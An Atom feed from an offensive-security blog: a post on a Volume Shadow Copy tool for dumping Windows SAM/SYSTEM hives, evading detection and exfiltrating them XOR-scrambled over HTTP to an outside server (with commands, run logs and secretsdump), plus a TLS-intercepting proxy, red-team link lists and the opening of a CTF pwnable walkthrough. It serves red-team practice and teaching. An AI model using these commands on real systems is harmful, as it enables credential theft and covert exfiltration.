<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://0xvm.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://0xvm.github.io/" rel="alternate" type="text/html" /><updated>2025-11-16T23:17:30+00:00</updated><id>https://0xvm.github.io/feed.xml</id><title type="html">0乂ᐯ爪</title><subtitle>0xvm Cybersecurity Blog</subtitle><author><name>0乂ᐯ爪</name></author><entry><title type="html">A Volume Shadow Copy client that excels in dumping creds and getting away with it</title><link href="https://0xvm.github.io/blog/vss_client/" rel="alternate" type="text/html" title="A Volume Shadow Copy client that excels in dumping creds and getting away with it" /><published>2025-11-16T00:00:00+00:00</published><updated>2025-11-16T00:00:00+00:00</updated><id>https://0xvm.github.io/blog/vss_client</id><content type="html" xml:base="https://0xvm.github.io/blog/vss_client/"><![CDATA[<h2 id="tldr">TL;DR</h2>

<p>A small VSS client that:</p>

<ul>
  <li>Creates client-accessible Volume Shadow Copies on demand</li>
  <li>Dumps <code class="language-plaintext highlighter-rouge">SAM</code> / <code class="language-plaintext highlighter-rouge">SYSTEM</code> (or any other files) from the snapshot</li>
  <li>Bundles multiple files into a ZIP archive (optionally XOR-scrambled)</li>
  <li>Exfiltrates archives directly over HTTP(S) via <code class="language-plaintext highlighter-rouge">--post</code>, <strong>without writing the ZIP to disk</strong></li>
</ul>

<p><a href="https://github.com/0xvm/vss_client">vss_client on Github</a></p>

<h2 id="overview">Overview</h2>

<p>On a recent threat simulation we were asked to create a custom app that behaves like a backup client, use it to dump/steal some local creds, and get away with it, ideally raising no events. <code class="language-plaintext highlighter-rouge">vss_client</code> is the result: a minimal Volume Shadow Copy client focused on quietly copying sensitive files or packaging and shipping them elsewhere.</p>

<p class="notice--info"><strong>Note:</strong> This tool assumes you already have high-privilege code execution on the target (local admin / SYSTEM). It does not provide an exploitation vector by itself.</p>

<h2 id="execution-flow">Execution Flow</h2>

<ol>
  <li>
    <p><strong>Mode selection</strong></p>

    <p>Selects one of:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">singleCopy</code></li>
      <li><code class="language-plaintext highlighter-rouge">multiCopy</code></li>
      <li><code class="language-plaintext highlighter-rouge">snapshotOnly</code></li>
    </ul>

    <p>If no work is queued, snapshot-only mode implicitly keeps the snapshot.</p>
  </li>
  <li>
    <p><strong>Privilege setup</strong></p>

    <p>Calls <code class="language-plaintext highlighter-rouge">EnableRequiredPrivileges()</code>, which in turn invokes <code class="language-plaintext highlighter-rouge">EnablePrivilege</code> for:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">SE_BACKUP_NAME</code></li>
      <li><code class="language-plaintext highlighter-rouge">SE_RESTORE_NAME</code></li>
      <li><code class="language-plaintext highlighter-rouge">SE_MANAGE_VOLUME_NAME</code></li>
    </ul>
  </li>
  <li>
    <p><strong>COM / VSS initialization</strong></p>

    <p>The following APIs are executed in sequence:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">CoInitializeEx</code></li>
      <li><code class="language-plaintext highlighter-rouge">CoInitializeSecurity</code></li>
      <li><code class="language-plaintext highlighter-rouge">CreateVssBackupComponents</code></li>
      <li><code class="language-plaintext highlighter-rouge">InitializeForBackup</code></li>
      <li><code class="language-plaintext highlighter-rouge">SetContext(VSS_CTX_CLIENT_ACCESSIBLE)</code></li>
      <li><code class="language-plaintext highlighter-rouge">SetBackupState</code></li>
    </ul>

    <p>Any failure in this stage causes an immediate bail.</p>
  </li>
  <li>
    <p><strong>Snapshot creation</strong></p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">StartSnapshotSet</code> creates the snapshot set.</li>
      <li><code class="language-plaintext highlighter-rouge">AddToSnapshotSet</code> adds <code class="language-plaintext highlighter-rouge">C:\</code> to that set.</li>
      <li><code class="language-plaintext highlighter-rouge">DoSnapshotSet</code> kicks off snapshot creation and returns an async object which is then waited on.</li>
      <li><code class="language-plaintext highlighter-rouge">GetSnapshotProperties</code> retrieves the snapshot device path.</li>
    </ul>

    <p>Any error along the way jumps to <code class="language-plaintext highlighter-rouge">FailWithCleanup</code>, which deletes the snapshot (unless <code class="language-plaintext highlighter-rouge">--keep</code>), frees VSS props, releases COM, and exits.</p>
  </li>
  <li>
    <p><strong>Single file copy path</strong></p>

    <p>When copying a single file:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">NormalizeRelativePath</code> cleans the user-supplied path.</li>
      <li>If it was already absolute (<code class="language-plaintext highlighter-rouge">IsAbsoluteSnapshotPath</code>), it’s used directly.</li>
      <li>Otherwise, <code class="language-plaintext highlighter-rouge">BuildSnapshotPath</code> combines it with the snapshot root.</li>
    </ul>

    <p>The resulting full source path is logged, <code class="language-plaintext highlighter-rouge">CopyFileW</code> copies it to the destination, and success/failure is logged.</p>
  </li>
  <li>
    <p><strong>Multi-file archive path</strong></p>

    <p>When building an archive:</p>

    <ul>
      <li>Each entry is validated to ensure it is relative, normalized, an existing regular file, and then converted to a ZIP entry name via <code class="language-plaintext highlighter-rouge">MakeZipEntryName</code>.</li>
      <li><code class="language-plaintext highlighter-rouge">ZipWriter</code> is opened either on disk (<code class="language-plaintext highlighter-rouge">Open</code>) or in-memory (<code class="language-plaintext highlighter-rouge">OpenMemory</code>) depending on whether <code class="language-plaintext highlighter-rouge">--output</code> or <code class="language-plaintext highlighter-rouge">--post</code> is used.</li>
      <li>Optional XOR streaming is enabled when <code class="language-plaintext highlighter-rouge">--xor-seed &lt;seed&gt;</code> is provided. If XOR is disabled, the result is a vanilla ZIP file (no compression, just a container). The XOR stream is LCG-based with a user-provided <code class="language-plaintext highlighter-rouge">int()</code> seed: deterministic and cryptographically weak, but producing very random-looking blobs.</li>
    </ul>

    <p>For each task:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">AddStoredFile</code> reads and writes a stored ZIP entry.</li>
      <li>Any failure logs the writer error, deletes the partially written archive with <code class="language-plaintext highlighter-rouge">DeletePartialArchive</code>, and exits via <code class="language-plaintext highlighter-rouge">FailWithCleanup</code>.</li>
    </ul>

    <p>After all entries:</p>

    <ul>
      <li>The archive is <strong>finalized</strong> and <strong>closed</strong>.</li>
      <li>If <code class="language-plaintext highlighter-rouge">--post</code> was selected, <code class="language-plaintext highlighter-rouge">UploadArchive</code> streams the in-memory buffer over WinHTTP to <code class="language-plaintext highlighter-rouge">[endpoint]/upload</code>.</li>
      <li>If <code class="language-plaintext highlighter-rouge">--output</code> was selected, the in-memory buffer is written to a blob on disk.</li>
    </ul>
  </li>
  <li>
    <p><strong>Cleanup</strong></p>

    <p>Regardless of path taken:</p>

    <ul>
      <li><code class="language-plaintext highlighter-rouge">DeleteSnapshotIfNeeded</code> removes the snapshot unless <code class="language-plaintext highlighter-rouge">--keep</code>.</li>
      <li>VSS props are freed and the COM components released.</li>
      <li><code class="language-plaintext highlighter-rouge">[+] Completed successfully</code> is printed before <code class="language-plaintext highlighter-rouge">CoUninitialize</code> returns control to the OS.</li>
    </ul>
  </li>
</ol>

<h2 id="usage">Usage</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\user\Source\vss_client&gt;vss_client.exe -h
Usage:
  vss_client.exe [&lt;snapshot-relative-path&gt; &lt;destination&gt;] [--keep]
  vss_client.exe --files &lt;path1&gt; [path2 ...] [--output &lt;archive&gt; | --post &lt;url&gt;] [--keep] [--xor-seed &lt;seed&gt;]
Examples:
  vss_client.exe
  vss_client.exe "\windows\system32\config\system" "\\10.10.10.2\share\system" # if you need to copy a specific file files in a blob locally or to an SMB folder
  vss_client.exe --files windows\\system32\\config\\sam windows\\system32\\config\\system --xor-seed 1337 --output C:\\loot.zip # if you need files in a blob locally 
  vss_client.exe --files windows\\system32\\config\\sam windows\\system32\\config\\system --xor-seed 1337 --post http://192.168.100.106:8000 # if you would like to upload remotely
</code></pre></div></div>
<p>Running the executable with no arguments simply creates a client-accessible snapshot and prints the snapshot device path (the snapshot is retained so you can mount it manually). Copying a single file or building an archive deletes the snapshot by default unless <code class="language-plaintext highlighter-rouge">--keep</code> is provided.</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">--output &lt;archive.zip&gt;</code> (with <code class="language-plaintext highlighter-rouge">--files</code>) writes the archive to disk.</li>
  <li><code class="language-plaintext highlighter-rouge">--xor-seed &lt;seed&gt;</code> enables an LCG-based XOR stream while the ZIP is being written (no second pass is needed anymore). An LCG-based XOR stream is used since minizip does not implement compression, hence a simple XOR would actually have your key in any <code class="language-plaintext highlighter-rouge">\x00\x00\x00\x00</code> series of bytes in the resulting blob.</li>
  <li><code class="language-plaintext highlighter-rouge">--post &lt;url&gt;</code> (HTTP/HTTPS) uploads the resulting archive directly from memory via a Chrome-like multipart/form-data POST (always to <code class="language-plaintext highlighter-rouge">/upload</code>); POST is customized for this server: <a href="https://pypi.org/project/uploadserver/">https://pypi.org/project/uploadserver/</a> ; HTTPS certificates are not validated on purpose and no local ZIP is touching disk.</li>
</ul>

<h2 id="building">Building</h2>

<p>Run <code class="language-plaintext highlighter-rouge">compile_vss_client.bat</code> from a Visual Studio Developer Command Prompt to produce <code class="language-plaintext highlighter-rouge">vss_client.exe</code> (the script now builds a size-oriented <code class="language-plaintext highlighter-rouge">/MD</code> release with LTCG, identical-code folding, and RTTI disabled by default). Pass <code class="language-plaintext highlighter-rouge">static</code> as the first argument to either <code class="language-plaintext highlighter-rouge">compile_vss_client.bat</code> or <code class="language-plaintext highlighter-rouge">compile_mount_vss.bat</code> if you need a static MSVC runtime build (<code class="language-plaintext highlighter-rouge">/MT</code>). Static builds are emitted as <code class="language-plaintext highlighter-rouge">vss_client-static.exe</code> and <code class="language-plaintext highlighter-rouge">mount_vss-static.exe</code>.</p>

<h3 id="repository-layout">Repository layout</h3>

<table>
  <thead>
    <tr>
      <th>Path</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">src/</code></td>
      <td>C++ translation units (client, helpers, mount tool)</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">include/</code></td>
      <td>Shared headers and platform definitions</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">compile_*.bat</code></td>
      <td>Helper build scripts you can run from the repo root</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">scripts/</code></td>
      <td>Helper tools like <code class="language-plaintext highlighter-rouge">unscramble.ps1</code> / <code class="language-plaintext highlighter-rouge">.py</code></td>
    </tr>
  </tbody>
</table>

<h3 id="modules">Modules</h3>

<p>Within <code class="language-plaintext highlighter-rouge">src/</code> the code is split into modules:</p>

<table>
  <thead>
    <tr>
      <th>File</th>
      <th>Responsibility</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">vss_client.cpp</code></td>
      <td>CLI parsing and main workflow</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">privileges.*</code></td>
      <td>Privilege elevation helpers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">path_utils.*</code></td>
      <td>Snapshot path normalization helpers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">zip_writer.*</code></td>
      <td>Minimal ZIP archive writer</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">snapshot_utils.*</code></td>
      <td>Snapshot cleanup helpers</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">file_utils.*</code></td>
      <td>Failure-time cleanup helpers for archives</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">upload_utils.*</code></td>
      <td>Multipart uploader for <code class="language-plaintext highlighter-rouge">--post</code></td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">common.h</code></td>
      <td>Shared Windows definitions and include set</td>
    </tr>
  </tbody>
</table>

<h2 id="examples">Examples</h2>

<h3 id="multi-file-with-post">Multi-file with POST</h3>

<p>Demonstrates archiving <code class="language-plaintext highlighter-rouge">SAM</code> and <code class="language-plaintext highlighter-rouge">SYSTEM</code> into a ZIP, XOR-scrambling it with <code class="language-plaintext highlighter-rouge">--xor-seed</code>, and exfiltrating it over HTTP.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\user\Source\vss_client&gt;vss_client.exe --files windows\\system32\\config\\sam windows\\system32\\config\\system --xor-seed 1337 --post http://10.10.10.2:8000
[i] Will archive 2 file(s) and upload to 'http://10.10.10.2:8000' (XOR stream applied)
[+] Enabling privilege SE_BACKUP_NAME...
[+] Enabling privilege SE_RESTORE_NAME...
[+] Enabling privilege SE_MANAGE_VOLUME_NAME...
[+] COM initialized
[+] COM security initialized
[+] IVssBackupComponents created
[+] Backup components initialized
[+] VSS context set to client-accessible
[+] Backup state configured (full, no writers)
[+] Snapshot set created: 81168DCA-A6F1-41A6-????
[+] Drive C:\ added to snapshot set
[+] Snapshot set creation started
[+] Snapshot creation completed
[+] Snapshot status: 0x0004230a
[+] Snapshot device: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy67
[i] Adding windows\system32\config\sam
[i] Adding windows\system32\config\system
[+] XOR cipher applied to archive
[i] Uploading archive to http://10.10.10.2:8000
[+] Upload completed with HTTP 204
[+] Snapshot deleted (1 object(s))
[+] Completed successfully

C:\Users\user\Source\vss_client&gt;


💀 ubuntu@ubuntu:/tmp/tmp &gt; uploadserver
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.10.137 - - [16/Nov/2025 03:24:55] [Uploaded] "archive" --&gt; /tmp/tmp/archive
10.10.10.137 - - [16/Nov/2025 03:24:55] "POST /upload HTTP/1.1" 204 -
^C
Keyboard interrupt received, exiting.
🌊 ubuntu@ubuntu:/tmp/tmp &gt; ls -l 
total 34888
-rw------- 1 ubuntu ubuntu 35717408 Nov 16 03:24 archive
-rw-rw-r-- 1 ubuntu ubuntu     1913 Nov 16 03:19 unscramble.py
🌊 ubuntu@ubuntu:/tmp/tmp &gt; python3 unscramble.py --xor-seed 1337 archive 
[+] XOR progress: 100%
Patched archive written to archive.fixed
🌊 ubuntu@ubuntu:/tmp/tmp &gt; 7z l archive.fixed

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs LE)

Scanning the drive for archives:
1 file, 35717408 bytes (35 MiB)

Listing archive: archive.fixed

--
Path = archive.fixed
Type = zip
Physical Size = 35717408

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
                    .....        65536        65536  windows/system32/config/sam
                    .....     35651584     35651584  windows/system32/config/system
------------------- ----- ------------ ------------  ------------------------
                              35717120     35717120  2 files
🌊 ubuntu@ubuntu:/tmp/tmp &gt; 7z x archive.fixed

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs LE)

Scanning the drive for archives:
1 file, 35717408 bytes (35 MiB)

Extracting archive: archive.fixed
--
Path = archive.fixed
Type = zip
Physical Size = 35717408

Everything is Ok

Files: 2
Size:       35717120
Compressed: 35717408
🌊 ubuntu@ubuntu:/tmp/tmp &gt; secretsdump.py -sam windows/system32/config/sam -system windows/system32/config/system LOCAL 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: xxx
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
xxx
[*] Cleaning up... 
🌊 ubuntu@ubuntu:/tmp/tmp &gt; 
</code></pre></div></div>

<h3 id="single-file-to-smb-share">Single file to SMB share</h3>

<p>Demonstrates copying a single file (<code class="language-plaintext highlighter-rouge">SYSTEM</code>) from the snapshot to an SMB share.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\user\Source\vss_client&gt;.\vss_client.exe "\windows\system32\config\system" "\\10.10.10.2\share\system"
[i] Will copy '\windows\system32\config\system' from snapshot to '\\10.10.10.2\share\system'
[+] Enabling privilege SE_BACKUP_NAME...
[+] Enabling privilege SE_RESTORE_NAME...
[+] Enabling privilege SE_MANAGE_VOLUME_NAME...
[+] COM initialized
[+] COM security initialized
[+] IVssBackupComponents created
[+] Backup components initialized
[+] VSS context set to client-accessible
[+] Backup state configured (full, no writers)
[+] Snapshot set created: E7FD92DB-DB27-46DC-????
[+] Drive C:\ added to snapshot set
[+] Snapshot set creation started
[+] Snapshot creation completed
[+] Snapshot status: 0x0004230a
[+] Snapshot device: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy76
[+] Copying \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy76\windows\system32\config\system -&gt; \\10.10.10.2\share\system
[+] Copy completed
[+] Snapshot deleted (1 object(s))
[+] Completed successfully
</code></pre></div></div>

<h3 id="mount-shadow-volume">Mount shadow volume</h3>

<p>Demonstrates snapshot-only mode, mounting the snapshot as a drive letter, and then cleaning it up.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>C:\Users\user\Source\vss_client&gt;vssadmin list shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

No items found that satisfy the query.

C:\Users\user\Source\vss_client&gt;vss_client.exe
[i] No file arguments provided; will create snapshot only
[+] Enabling privilege SE_BACKUP_NAME...
[+] Enabling privilege SE_RESTORE_NAME...
[+] Enabling privilege SE_MANAGE_VOLUME_NAME...
[+] COM initialized
[+] COM security initialized
[+] IVssBackupComponents created
[+] Backup components initialized
[+] VSS context set to client-accessible
[+] Backup state configured (full, no writers)
[+] Snapshot set created: 9009E0F9-FA19-46BF-????
[+] Drive C:\ added to snapshot set
[+] Snapshot set creation started
[+] Snapshot creation completed
[+] Snapshot status: 0x0004230a
[+] Snapshot device: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy63
[i] Leaving snapshot C763F3BA... (--keep)
[+] Completed successfully

C:\Users\user\Source\vss_client&gt;subst

C:\Users\user\Source\vss_client&gt;mount_vss.exe H: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy63
Mounted \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy63 as H:

C:\Users\user\Source\vss_client&gt;subst
H:\: =&gt; GLOBALROOT\Device\HarddiskVolumeShadowCopy63\

C:\Users\user\Source\vss_client&gt;type h:\Windows\System32\config\sam
:öΩírmtm*¿t(╛Q▄OfRgzYystem32\Config\SAMï8╪*Ω∩εÑM
C:\Users\user\Source\vss_client&gt;type c:\Windows\System32\config\sam
The process cannot access the file because it is being used by another process.
C:\Users\user\Source\vss_client&gt;subst h: /D

C:\Users\user\Source\vss_client&gt;vssadmin delete shadows /for=C: /all
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Do you really want to delete 1 shadow copies (Y/N): [N]? y

Successfully deleted 1 shadow copies.

C:\Users\user\Source\vss_client&gt;
</code></pre></div></div>]]></content><author><name>0乂ᐯ爪</name></author><category term="blog" /><category term="windows" /><category term="samdump" /><category term="exfiltrate" /><summary type="html"><![CDATA[SAMDump and exfiltrate]]></summary></entry><entry><title type="html">HTTPS intercepting proxy in python</title><link href="https://0xvm.github.io/blog/SNI-proxy/" rel="alternate" type="text/html" title="HTTPS intercepting proxy in python" /><published>2025-06-01T00:00:00+00:00</published><updated>2025-06-01T00:00:00+00:00</updated><id>https://0xvm.github.io/blog/SNI-proxy</id><content type="html" xml:base="https://0xvm.github.io/blog/SNI-proxy/"><![CDATA[<p>Sometimes you can’t have BURP, or you need something really light. Here’s a full featured SNI capable HTTPS intercepting proxy that will generate a Certificate Authority cert (which you’ll need to trust) and certificates for whatever you visit on-the-fly. Traffic is dumped in per-domain conversation-like logs.</p>

<p>run with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 proxy-SNI-logging.py <span class="nt">--cert</span> ca.crt <span class="nt">--key</span> ca.key
</code></pre></div></div>

<p>test with:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl <span class="nt">-v</span> <span class="nt">--insecure</span> <span class="nt">--proxy</span> http://localhost:8080 https://icanhazip.com
</code></pre></div></div>

<ul>
  <li>generated certs are in <code class="language-plaintext highlighter-rouge">./certs</code></li>
  <li>traffic logs are in <code class="language-plaintext highlighter-rouge">./traffic_logs</code></li>
</ul>

<p><a href="https://github.com/0xvm/https-proxy">https-proxy in github</a></p>]]></content><author><name>0乂ᐯ爪</name></author><category term="blog" /><category term="mitm" /><summary type="html"><![CDATA[Sometimes you can’t have BURP, or you need something really light. Here’s a full featured SNI capable HTTPS intercepting proxy that will generate a Certificate Authority cert (which you’ll need to trust) and certificates for whatever you visit on-the-fly. Traffic is dumped in per-domain conversation-like logs.]]></summary></entry><entry><title type="html">Interesting links from the intertubes</title><link href="https://0xvm.github.io/blog/linkz/" rel="alternate" type="text/html" title="Interesting links from the intertubes" /><published>2025-03-05T00:00:00+00:00</published><updated>2025-03-05T00:00:00+00:00</updated><id>https://0xvm.github.io/blog/linkz</id><content type="html" xml:base="https://0xvm.github.io/blog/linkz/"><![CDATA[<h3 id="redteam-pentestingde-excellent-article-on-reflection">redteam-pentesting.de excellent article on reflection</h3>
<ul>
  <li><a href="https://blog.redteam-pentesting.de/2025/windows-coercion/#coercion-methods">Windows Coercion Methods</a></li>
  <li><a href="https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/">Reflective Kerberos Relay Attack</a></li>
  <li><a href="https://www.redteam-pentesting.de/publications/2025-06-11-Reflective-Kerberos-Relay-Attack_RedTeam-Pentesting.pdf">Reflective Kerberos Relay Attack (PDF)</a></li>
  <li><a href="https://github.com/RedTeamPentesting/wspcoerce">wspcoerce (GitHub)</a></li>
  <li><a href="https://github.com/RedTeamPentesting/pretender">pretender (GitHub)</a></li>
  <li><a href="https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025">NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073</a></li>
  <li><a href="https://specterops.io/wp-content/uploads/sites/3/2025/04/SPO_NTLM_WhitePaper_Updated.pdf">The Renaissance of NTLM Relay Attacks: Everything You Need to Know by Elad Shamir</a></li>
</ul>

<h3 id="20250617">20250617</h3>
<ul>
  <li><a href="https://r0keb.github.io/posts/Junk-Code-Engines-for-Polymorphic-Malware/">Junk Code Engines for Polymorphic Malware</a></li>
</ul>

<h3 id="20250325">20250325</h3>
<ul>
  <li><a href="https://whiteknightlabs.com/2025/03/24/understanding-windows-kernel-pool-memory/">Windows Kernel Pool Memory</a></li>
  <li><a href="https://github.com/V-i-x-x/kernel-callback-removal">Kernel Callback Removal</a></li>
  <li><a href="https://starlabs.sg/blog/2025/03-cimfs-crashing-in-memory-finding-system-kernel-edition/">CimFS: Crashing in memory, Finding SYSTEM (Kernel Edition)</a></li>
</ul>

<h3 id="20250318">20250318</h3>
<ul>
  <li><a href="https://blog.quarkslab.com/technical-dive-into-modern-phishing.html">Beyond the Hook: A Technical Deep Dive into Modern Phishing Methodologies</a></li>
</ul>

<h3 id="20250317">20250317</h3>
<ul>
  <li><a href="https://starlabs.sg/blog/2025/03-star-labs-windows-exploitation-challenge-2025-writeup/">STAR Labs Windows Exploitation Challenge 2025 Writeup</a></li>
</ul>

<h3 id="20250311">20250311</h3>
<ul>
  <li><a href="https://icode4.coffee/?p=1047">Hacking the Xbox 360 Hypervisor Part 1: System Overview</a></li>
  <li><a href="https://icode4.coffee/?p=1081">Hacking the Xbox 360 Hypervisor Part 2: The Bad Update Exploit</a></li>
  <li><a href="https://www.synacktiv.com/publications/lsa-secrets-revisiting-secretsdump.html">LSA Secrets: revisiting secretsdump</a></li>
</ul>

<h3 id="20250306">20250306</h3>
<ul>
  <li><a href="https://zeyadazima.com/exploit%20development/ropdecoder/">ROP Decoder</a> <!-- x86 specific ROP decoder - similar to OSED --></li>
</ul>

<h3 id="20250305">20250305</h3>
<ul>
  <li><a href="https://blog.reveng.ai/physmem-e-when-kernel-drivers-peek-into-memory/">Physmem E: When Kernel Drivers Peek Into Memory</a></li>
  <li><a href="https://www.outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/">Red Team Tactics: Combining Direct System Calls and SRDI to Bypass AV/EDR</a></li>
  <li><a href="https://blog.elmo.sg/posts/structured-exception-handler-x64/">Structured Exception Handler x64</a></li>
  <li><a href="https://eversinc33.com/posts/windows-access-tokens.html">Windows Access Tokens</a></li>
  <li><a href="https://captain-woof.medium.com/how-to-write-a-local-pe-loader-from-scratch-for-educational-purposes-30e10cd88abc">How to Write a Local PE Loader from Scratch for Educational Purposes</a></li>
  <li><a href="https://captain-woof.medium.com/voidgate-how-to-execute-shellcode-while-keeping-it-encrypted-b6cf5c7f4127">Voidgate: How to Execute Shellcode While Keeping It Encrypted</a></li>
  <li><a href="https://ling.re/hardware-breakpoints/">Hardware Breakpoints</a></li>
  <li><a href="https://www.blackhillsinfosec.com/a-different-take-on-dll-hijacking/">A Different Take on DLL Hijacking</a></li>
  <li><a href="https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs">Using Syscalls Directly from Visual Studio to Bypass AVs/EDRs</a></li>
  <li><a href="https://williamknowles.io/living-dangerously-with-module-stomping-leveraging-code-coverage-analysis-for-injecting-into-legitimately-loaded-dlls/">Living Dangerously with Module Stomping: Leveraging Code Coverage Analysis for Injecting into Legitimately Loaded DLLs</a></li>
  <li><a href="https://0x64marsh.com/?p=314">Kernel Driver Exploit: System Mechanic</a></li>
</ul>]]></content><author><name>0乂ᐯ爪</name></author><category term="blog" /><category term="links" /><summary type="html"><![CDATA[redteam-pentesting.de excellent article on reflection Windows Coercion Methods Reflective Kerberos Relay Attack Reflective Kerberos Relay Attack (PDF) wspcoerce (GitHub) pretender (GitHub) NTLM reflection is dead, long live NTLM reflection! – An in-depth analysis of CVE-2025-33073 The Renaissance of NTLM Relay Attacks: Everything You Need to Know by Elad Shamir]]></summary></entry><entry><title type="html">Intro to pwnables</title><link href="https://0xvm.github.io/blog/classroom/" rel="alternate" type="text/html" title="Intro to pwnables" /><published>2024-08-09T00:00:00+00:00</published><updated>2024-08-09T00:00:00+00:00</updated><id>https://0xvm.github.io/blog/classroom</id><content type="html" xml:base="https://0xvm.github.io/blog/classroom/"><![CDATA[<blockquote>
  <p>This is an overly documented approach to solving a binary challenge, a pwnable in particular.
Another way to view it is as a (very) light introduction to pwnables, pwntools, gdb, AFL, and most probably poor decisions overall :)</p>
</blockquote>

<p>Capture The Flag events are a fantastic way to sharpen your cybersecurity skills, and the one provided by HTB in the recent BSiDES Athens 2024 Security Conference was no exception.</p>

<p>Among the various challenges presented, there was a pwnable titled <code class="language-plaintext highlighter-rouge">classroom</code>. Although it was rated easy - some may say fundamental - it saw only three solves during the event <sup id="fnref:Rant" role="doc-noteref"><a href="#fn:Rant" class="footnote" rel="footnote">1</a></sup>. What i want to achieve with this high level walkthrough of the <code class="language-plaintext highlighter-rouge">classroom</code> pwn, is to describe the thought process, the tools, and offer insights that could help beginners and intermediate participants to enhance their pwn(tm).</p>

<h1 id="target">Target</h1>
<h2 id="checksec">Checksec</h2>

<p>First up, what are we up against? We can use <a href="https://docs.pwntools.com/en/stable/commandline.html#pwn-checksec">checksec</a> to check what security settings does our binary support.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn <span class="nv">$ </span>pwn checksec classroom 
<span class="o">[</span><span class="k">*</span><span class="o">]</span> <span class="s1">'/home/kidd/Desktop/WORK/bsides24/pwn/classroom'</span>
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE <span class="o">(</span>0x400000<span class="o">)</span>
    Stack:    Executable
    RWX:      Has RWX segments
</code></pre></div></div>

<p>We got plenty of info already. The important pieces here are that:</p>
<ul>
  <li>“No PIE”, the binary is not relocatable and will always be loaded at a fixed address, in this case, <code class="language-plaintext highlighter-rouge">0x400000</code> – Take a note, this does not mean that memory allocations happening during runtime will be at a predictable place, nor that same addresses will occur across runs.</li>
  <li>We get RWX segments, executable stack, no stack canaries, and the NX bit not set. In a nutshell, in which ever buffer we are writting at, high chances are that it is going to be executable space (#not).</li>
</ul>

<h2 id="interacting-with-the-target">Interacting with the target</h2>

<p>If we run the target locally we have what it seems to be a very simple program:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>~/D/W/b/pwn $ ./classroom 
Kids must follow the rules!
1. No cheating!   ❌
2. No swearing!   ❌
3. No 🚩 sharing! ❌

Is everything clear? (y/n)
&gt; y

Alright! Do you have any more questions? (y/n)
&gt; y
Feel free to ask!
&gt;&gt; 
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
&gt; y
Feel free to ask!
&gt;&gt; y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
&gt; y
Feel free to ask!
&gt;&gt; y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
&gt; y
Feel free to ask!
&gt;&gt; y
Very interesting question! Let me think about it..

Alright! Do you have any more questions? (y/n)
&gt; y
Enough questions for today class...
Well, maybe a last one and then we finish!
&gt; y
Have a nice day!!
fish: Job 1, './classroom' terminated by signal SIGSYS (Bad system call)
